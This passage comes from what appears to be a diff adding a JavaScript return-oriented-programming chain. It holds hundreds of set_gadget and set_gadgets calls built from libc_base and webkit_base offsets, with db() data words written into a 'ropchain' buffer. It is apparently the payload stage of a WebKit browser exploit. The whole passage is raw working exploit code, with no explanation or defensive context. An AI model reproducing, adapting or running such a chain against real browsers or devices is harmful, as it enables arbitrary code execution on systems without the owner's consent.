0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+439328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+439344, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+439504, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+439536, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+439488, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+439520, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+439696, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+439648, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+439664, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+439776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+439792, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+439880, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+439936, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+440008, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+440064, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+440176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+440192, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+440352, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+440368, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+440336, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+440488, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+440472, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964188, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+440552, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+440616, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964180, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+440704, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+440720, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+440880, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+440912, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+440864, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+440896, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+441008, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+440992, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+441096, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+441168, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964180, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+441232, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+436816, +libc_base+713278, +ropchain+441344, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964188, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+441432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+441448, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+441608, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+441640, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+441592, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+441624, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+441736, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+441720, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+441832, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964192, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+441920, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+441936, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+442096, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+442128, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+442080, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+442112, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+442224, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+442208, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+603944, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+442376, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+887232, +libc_base+713278, +ropchain+442488, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+442560, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+442632, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+442704, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+442776, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+442848, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+442920, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+442992, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+443064, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+443136, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+443208, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+443280, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+443352, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+443424, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+443496, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+443568, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+740138, +libc_base+713278 +]); +db([4294967268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+443704, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+443720, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+443880, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+443912, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+443864, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+443896, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+444032, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+444016, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964156, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+444160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+444176, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+444336, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+444368, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+444320, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+444352, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+444488, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+444472, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964160, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+444568, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965220, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+444640, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964164, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+444720, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964196, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+444792, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964172, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+444872, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+444984, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+224920, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +ropchain+603968, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+445128, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([66, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+445264, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+445352, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+445368, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+445528, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+445560, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+445512, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+445544, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+445656, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+445640, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+445760, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+187456, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+445848, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+446016, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294964132, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+446136, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+446192, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+446256, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964132, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+446344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+446360, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+446520, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+446552, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+446504, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+446536, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+446632, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+446648, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+446744, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+446728, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+446840, +webkit_base+4687784, +libc_base+768796 +]); +db([512, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([512, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+446984, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+447000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+446968, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+447176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+447192, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+447160, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+447320, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+447352, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+447336, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+447464, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+447456, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+447480, +ropchain+447496, +libc_base+489696, +ropchain+447512, +libc_base+489696, +ropchain+451496, +libc_base+740138, +libc_base+713278, +ropchain+447568, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965220, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+447648, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+447704, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+447800, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964132, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+447888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+447904, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+448064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+448096, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+448048, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+448080, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+448256, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+448208, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+448224, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+448336, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+448352, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+448440, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+448496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+448624, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+448656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+448640, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+448816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+448848, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+448800, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+448832, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+448928, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+448944, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+449040, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+449024, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+449144, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+174016, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+449288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+449304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+449272, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+449400, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+449384, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+449496, +webkit_base+4687784, +libc_base+768796 +]); +db([66, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([66, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+449640, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+449656, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+449624, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +libc_base+232261, +libc_base+713278, +ropchain+449824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+449840, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+449808, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); 